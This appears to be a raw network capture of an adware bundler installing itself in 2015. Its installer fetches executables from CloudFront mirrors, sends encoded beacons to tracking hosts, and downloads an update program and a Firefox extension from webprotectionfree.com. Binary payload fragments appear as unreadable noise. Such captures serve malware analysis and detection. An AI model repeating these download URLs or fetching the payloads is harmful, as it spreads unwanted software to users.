User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhskHTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:24:54 GMT..Con
tent-Type: text/html; charset=utf-8..Content-Length: 13..Connection: k
eep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version
: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache:
 MISS..abfgshdgfjhsk..



GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=18230-36461
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 18232
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 18230-36461/72922
Age: 3540
X-Cache: Hit from cloudfront
Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 8uLXSKAPKnBRpc53Bdi35UsW_jj2OWT4z6AF2knMjg_hm2lu4elZjg==
[email protected]@..E......%[email protected][email protected]$
..........=`7B..t....uG.=h7B..t.........6B.h..@[email protected][email protected]$....
@... [email protected][email protected]@[email protected]@...
[email protected]$..u.WV..|[email protected]._^...U....L...S.].VW.}......W.E..........E.t.W
..0q@[email protected].......]..e..t.....'...............B.WV......}..t.h`.@
.V.......W......?.u..=..B.\[email protected]....([email protected].
............j?P.......,....8.t..}..t..u..>.u..F...tc<.u..~..tYVS
.F..........t..E....<.u?.u.W......4.u.W.......u.9E.t.Wj......j.W...
......H7B...Wj............P.u...,[email protected]...<q@..}..t..c..3.9u
.tK9u.u...H7B..>W.......t4W.5....E...PW.......u.9u.t.Wj..s...VW.5..
...Wj..b..._^[....V.t$.V.{[email protected]\[email protected].....^....D$...:L$
.t.P.. [email protected]$.V.4......8\t.PV...q@.;.w.. .@^....T$...... ..\
u.8J.t.<a|.<z...z.:[email protected] [email protected].|$.W....S......t..;:u..
{.\u.P...$..\u.8O.u.j.^j\[email protected]._^[...VW.t$....B.V.q...V
.........u.3..RW........6B..t.....t.<\t. ....C.....t....t.V.....V.@
...;[email protected]........._^[email protected]..'.E..u...0
[email protected].. [email protected]..;E.}.3._^[.........L$.V.t$...v..D$. .
.....ANu.^[email protected].$.P.t$...|p@...^[email protected]....#
[email protected][email protected]...`[email protected].
[email protected]..&._^][email protected].;u.u.3.@..
3.^][email protected]@[email protected][email protected]..
..../...;...'....P.B.SV.t$ ..........;.......VWh|[email protected]@....
<<< skipped >>>


GET /sponsored/swiftrecord/eula-swiftrecord.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3i779maf1zmkk.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 05:00:26 GMT
Last-Modified: Wed, 11 Mar 2015 08:59:19 GMT
Expires: Sun, 26 Apr 2015 05:10:26 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Age: 170
Vary: Accept-Encoding
X-Cache: Hit from cloudfront
Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 34_p4-F3acctWlqHFnNjoahGcgDObER6QBwpKBDHLZpPqIrx-e7frw==
36d5.............}.r....s. r8.c*....n.r..!..`....K..8@ [email protected]@.gb".Cf~
..d.Z{.K. %_:b......'.e_......i.d...]..f.....y...;<>............
..y...U1X...d5.....q.r..._..o........;..w....g............j...........
...a^........r8...7.........u....zu{..|.....qZ...E...U.yu<.k~..M5~.
...7.jZ-.......w.h6\.M.o.W....dU.....|S...l8....|uXO..>}.z.9}v;.M..
o...rX...-.._...o.JN.V~......b..N1...G.~U..i.........U. {/.^hh.Z3...I.
....].)...c.|c?..X{..<....[SL... ...../...?./O..~.W.....v.z.k./...&
lt;.-......E..?h..w........=.|h.......=R.....{~.....{......t/O;.N...P|
x.9y..N..O.....{...Z.:...89o....>..........>>.\`..3|......6..
k.;.....o.;............~....=..\...4U..V..d^..'u....k.mq>....,Zw...
..U.......^..eY...X.R..E5/@U....0.]..rT-.|.,.N..b8..;(.....Z.{........
....0.l......Xc.uQ.......j........c.....t2...._....Jj......XV.....z...
.v..........G.....G......S...u7...W....ZN>.G..U..<..&....;...C..
.-..rY.G%..d..i.9....d:..s.W.Q.6xY..]j?..K.......O.^/.>..p...&.d~W.
c.......p9.?(n..y.<.5|^a..?..Ln.p.8...wh;z.....w..l..jU....M......G
.3. ..n.|........x(o V....5...O.J........z.....}.x9H~<......~.W..r|
[email protected]..@.$.H..zP/#..9R....B..X.
4t...C}P,....s....H,d..tU.6n..@qgY\.E.....#.......g.8.0.bY..Y...b..1.e
.X...V.=.~.,..(L....AW..QY.<..W.9.....#.4&...| ........L.d.m._8....
.D...EU$..r.Zc..z..f....f.6..(.IRX.'L.[].k..i..WH...o}h......8}mo9...u
.b.P...&.i..Tkl.S.18...B.- .1e.....6.v=. X0>..~.,]Q....F.U...#q...%
......4....U55.r.3R................i1 ..!..u..^.:...II..U..N.<N
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=35695-
User-Agent: Better Installer(Mozilla)
Host: d3cu4o8yyw81v.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 249863
Connection: keep-alive
Date: Sun, 26 Apr 2015 05:03:51 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 35695-285557/285558
Age: 1196
X-Cache: Hit from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: jCMGArd4hctlFmhfWc5KWPwrEnxwni1AtEz-v4i8mrU0u-Fx1oMZ6A==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=803956-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 482373
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 803956-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 462cdb6020d941cbe166e3fece73ca6d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: SD3MGPGG8K7WRYWfmBbFGe0_Ux5Scjx9HxtrPtDdQk96zqwNvaHaGw==
.P........}..X..).....h,*S...iN. ..%.-W...#..;..'dI7.K..M....'.N.?(L..
#5.....L..f..b.Y....!......JP..{O....f.. L%btTB...bo...iN..iI..Su.....
..Y}>..s"..i mh....@._U].....G.>..9.^..`...."!......i(...s.&..g.
...7.p7.Q......H..^...@i6....|.,.".5`T;r$.;....K............>UX(...
N.X..,[email protected]=..J.a...w.'.{\A>.&...*....y\.GY..&.."r..y......
....!2.^..7..cE...'[....a)..wC..2.3....6t..u..1...6x.A.............2!.
W....Y;.N........v..a..f.x{f\O'LM....../=.....s..hXKE......;~t...P.=..
...|W.7........,..wC..m_...........w.......!..{Z.b..fu.pE.T&...eP".. 5
..4\J]........5V..........L..WyS...._....b.....4..u.czY..I...1..t.G.U.
....d}.moe)..Q...6X....X..ia...1....8`.n..O....-..."./^....QDW..P.....
.w.......w.Y^..[...2/q.s/i.....N..#.....fa....P.....r..%m.m.m.B...\k..
.p.j.g8t.....7./..vG........P.m.L.....?.<g....P....#'... ..D..7|n..
..#[.3.U..}....D...=..?. e.`...;p.. i..........<..wC._.51........Q.
"Ar....&.e......W....u6"...]..I.9.6...r....m. 9n...v."...*.X."..25...6
..-0..&3.I..&y6>.{.}m/[email protected]..
..8,{'L.bv..V:...V%[email protected]........!=Z...o...'. ....\..2%_$.B{.D.H.
...._.dD.....=Q..:z...Z.}RJF.o.W(.X!...<...].7.;9R....];=....GH..Fm
....A:'} .1........)...vJ...$7.;). 1..y......"v>.bF:.-50;#....,..9.
q..........iN...4.6uJj....F ..a.d...1..re........_.\p..m.ZX..9...t.[..
.D..`y.......p.kg.4....q1......U..W.:..>...<P....r..B. C.<).~
....K9..,.y... .. 4........~.0@>.BM...$hh...:7...P}0.A*TC...N..Ch..
O.T.L..U.n..B..@{.,*n..}N..fi..~..6..}C.Hg.......p.;.ZS.W.i..0...:
<<< skipped >>>


GET /4475.ashx?e=2fVCHF6kf8ip2eBShmJaQJL yAYdXN5RADzUgCGENkGMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZ3z9toNSsY8RWOvghCBTr/TdVMo67fxO0s IILilpWF0qsPhrJ4rL5/EiQPnfm1ghMv9wmppQPAcE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEsDCpNGDQQzR7j3gDjDqFq/4gMCOsf /nVlgSThza2qrBFqlLM82nFjbSJGWd2CgPQ= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:12 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:12 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /4475.ashx?e=b1dRW7RxYKcVc8R/SQUwTJL yAYdXN5RnjWV2Nij1FiMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZaTN6JbPRttZWOvghCBTr/XvKbjUyzCCcFAL52sIXt4UXMdeVS0aoyqaY9smyAWh8WX5mkXidlVVifbG zB4c1OJv7yVw7xdhvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIWPRDNNTX5W4XfTzht6ovY1YV lHKmkCemqn1dzsO21qNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qi15mGxh9u5L Ls8LW/V2IeBDHDzycSdzuMEO03HPn UgyWQ7Q3RDGr78QLuadMpg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:14 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=M5cPy8d51cOS/sgGHVzeUa54nBZoeXARjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNe3zho7nBETETQhEmdgakIJt6fkJEmbrLbA5wX5Xz49Nn7j9DlRxu71HmS0Zrngqa/u6z7Uinv/jO0WyxvbY42Xs7kUDQrVpg2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXHS5uuKPjyTsvGYaIpA5OzBAdSiYySX1ABO9CgPGV4WwPGAmcePe PU/67/t1IJfTYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaoteZhsYfbuS/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxq /EC7mnTKY HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:14 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=IwLHwtP2rDeS/sgGHVzeUa54nBZoeXARjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNe3zho7nBETETQhEmdgakIJt6fkJEmbrLbA5wX5Xz49Nn7j9DlRxu71HmS0Zrngqa/u6z7Uinv/jO0WyxvbY42Xs7kUDQrVpg2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXHS5uuKPjyTsvGYaIpA5OzBAdSiYySX1ABO9CgPGV4WwPGAmcePe PU/67/t1IJfTYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaoteZhsYfbuS/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxq /EC7mnTKY HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:14 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS



GET /app/ping.ashx?e=lOCrbsNL2zXk4TYbHkoM1JL yAYdXN5RnjWV2Nij1FjZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEGFfmubnQ5FzeTfOFFdt60zxzOb1lXHTE2CArG4HtKvdX1gPBPGd4Ge3xOrzwgctLXgdMQkcq0fio9Ph7xjyM7L1FnmdVPV64GxCWHShI1IMEHFTJ3nGcqmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXqEPUxmmYj0hHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUc c4/HOQseHwB5esNx9efU= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:12 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=lOCrbsNL2zXk4TYbHkoM1JL yAYdXN5RnjWV2Nij1FjZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEGFfmubnQ5FzeTfOFFdt60zxzOb1lXHTE2CArG4HtKvdX1gPBPGd4Gf2NRySioDRRu BYVCPaRxXmR20K7N 67BZCfXvnwd9Ikg LruF0zoHZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQxe0PvZWP1HT3xQxMe6d/YXmZBdfxwiphL5XLptJ1YYBVtYzgf7Y/EtCn qX4FpTdffopz0y2Q7Y HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:12 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=LCnUzM5l8JJBYQAernua8KdvklASGFy4PsaMaytXqcH7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lAfnxw7SIWTP24HfyObXx1UdC9oYZcFcAUUvubeDU93VIs0AEv1kh1DKJj24mv8XjnS5StnPX94HWqnaKp4YBMQXtD72Vj9R098UMTHunf2F5mQXX8cIqYS Vy6bSdWGAVAgX7IgLqZakC1fv30UfvLsGQSKKEX4MIkdCtWlcdK4tLFSggbgl2i/wC513n 0HRZRXx49nRJ1TcWL70UkzVrp4nRJFoUZgp4Yvmw1YuoPQOGdJX7Ys4OCi0N7aB6YG6hHY oh5wmy9pSoWtDn2v0LZyn40Iw2XqEsFB7attMxqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx2159uvs5XDPxhOryl7ypflgvTRwmD/ebOqTPsorVYAdENunC8MvNzBdxJO8SsEd1vQGPfwqbgkyABd HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:12 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=jLYfrKkKGYOS/sgGHVzeUZ41ldjYo9RY2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrTnlytR4CrxBhX5rm50ORc3k3zhRXbetM8czm9ZVx0xOfD5PY7X0q xis2OOc4tTp1sgfHgwJGopMjaP02 pNDljtKNJXIFNsZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQxe0PvZWP1HT3xQxMe6d/YXmZBdfxwiphL5XLptJ1YYBVtYzgf7Y/EtCn qX4FpTdffopz0y2Q7Y HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:12 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=657cd9m3NQH2vdzuDiNvxqdvklASGFy45xhiRlQoXFH7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lAfnxw7SIWTP24HfyObXx1UdC9oYZcFcAT0sajEdtXK5ho/QgOr9gQT2NRySioDRRrzTwCJRAS6WGe3FkalM8N0mPRXV7cLSOWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMXtD72Vj9R098UMTHunf2F5mQXX8cIqYS Vy6bSdWGAVbWM4H 2PxL4uZ/p4emFS336Kc9MtkO2A== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:12 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 30 Apr 20
15 09:25:12 GMT..Content-Length: 0..



GET /4475.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYN4lZcxLy8MCmwsgTCGAfUziyMyEnHNejvIwWNawbTP05KYX3Ti/i3YM1BHIdlrIHvMRqdNksZyqGQlHIOUuUk0D3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywXtD72Vj9R098UMTHunf2F5mQXX8cIqYS Vy6bSdWGAf/DIf3gxM C HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:04 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=482374-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 803955
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 482374-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 462cdb6020d941cbe166e3fece73ca6d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: G0-nydlM7uWH5bg8BhVy6Lrdutbp_wtTDhHOzEE_PaafPVrJFa-D-Q==
..'.....yR..T'...&..].R .^...s...I....,..]c....d.2m.V..rw......e[..B..
.. [email protected]!.u..,...!".DR..N.}..A....p..zB...f_..E......-Bq.m...
......=........{.9(#.Z....k......A..d..L....f...Y.^.m..MMW#EOc..._.w.^
q...........S...C..o...2N..b"Q...N.......k..........S...RF.t.<7..".
[email protected]"?jN...A...W .F1.;...*bdY.....,;y...c....|#.
........d..C.t.....fGK..)..b..g9..b......._...J.!........W...a..7./.0o
%...&Q.E.He....*.a..Y...uqAaw..e.Y...x..-h`-......^.&%.m/.....xe......
9..`....3>.L.Y.....9..9..1........Y..m....1.se8...\c.......vT...P..
w.a.9..2..%.dR.........Wc.../T#............$.N..n.J.2.....vi.p..Xpl.v.
.-....9.y.]2..E..^....Z.?r...j7..#.a.P.......9_..,r.1......4.......~..
....6...Z{d..V.V....u3.L.O}8q.5..{|.[...M:qa.D.....j..WjB ..k.....J0..
A.r.....B.4U...d...e=WB.L...xY.4m?y6..]......fe........i.6.)....:f..e.
y,...G(4...<."=bW.X.....'...7..|.F..&..a....0{.3H.d..V..O].$R7>w
O......w}...NWx...O...5`F..;0Q..u>....P.#..d.......]Fy.q.re.."|.i?^
?...r)9......,.l...c...Vf.%.<.cGE.ZW....^.)......t86...)..q......S.
[email protected]..~...6..X<.  ./..X....8.}../.....p*.......sK..6...
-..8e...."rZ..N_76.. ....36"....N.-..h...O*N$.......{.*.....?...=.....
zp..}.6f.=..Q:g..^.C...0c..s"=....-A.y.k.<..aI.Y.C..w..6..>.Vf..
O.[...N.dA....6.....t.#..~...".L.j..".Z.&PA...~ky......L....)ns...x.]}
..5D...t3......O...).^.g..J...I.}...d.`..`H8c..#A.4..y...t.....0...e.n
U...9:[email protected]~.....7....`..?b..r....j.{.... .C!$....X.C....e
..W.;...N6..f.b......&../...g...cWm?k.....^e...U$....}.>.......
<<< skipped >>>


GET /node/?s=9813&br=4 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:54 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../c/LiveUpdateWPP_is.exe
0......


GET /c/LiveUpdateWPP_is.exe HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:54 GMT
Content-Type: application/octet-stream
Content-Length: 280251
Last-Modified: Wed, 29 Apr 2015 09:14:13 GMT
Connection: keep-alive
ETag: "5540a0e5-446bb"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................^...|.......0.......p....@.........................
.................................................t..........8.........
...................................................................p..
.............................text....].......^.................. ..`.r
data.......p.......b..............@[email protected]..........
....@....ndata...................................rsrc...8............z
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /node/?s=9813&br=2 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:57 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Location: ../a/9813.xpi
0......


GET /a/9813.xpi HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:57 GMT
Content-Type: application/x-xpinstall
Content-Length: 39202
Last-Modified: Mon, 30 Mar 2015 12:17:50 GMT
Connection: keep-alive
ETag: "55193eee-9922"
Accept-Ranges: bytes
PK.........|}F..O.8...........chrome/content/main.js.W[o.H.~&R.....o)N
 .vU Z.1n..M6n.'.a...3...F ...a...i..~....;......[.Y$.c...]#..h.......
......Z.G[8...../....'......g>sW...g.W.'...CM........A.9%.).'..=...
.*\.g.../..M....S...p........v<.2./W..\.......z.Fa..2%.q......x..u.
....r".v....]....4...B.q..[>...n.....O...&{._..G.tI...b..;<.Y.y.
8.n.E....4.x*'..E..S.$..B.r..j$."..S...fF..i..H..!......~..OB.1....Gt3
 .E.......B.1......~.(%U.uv...W..tK\7t.S.....0...>...`F...P.r.u Y..
c.......2<........c.Y.E.. .WV..Z...v..eS.V.Q.....^MrK.%~.E.l.b...*l
n<..x..e...~....:2_.F...ja.UN>....5/y........*.t.....|...l....z.
.....`.&D....2..k. .O."......e....:[email protected]>.!zk<4......O.(..:2..
c"..I..E..Y;@..$*....BU.........jo.....ubo.Q....i|&..<....=..p.....
<...m...U......b,.2@.......<7..&.7.v.v1..-....`.6........L..o.t.
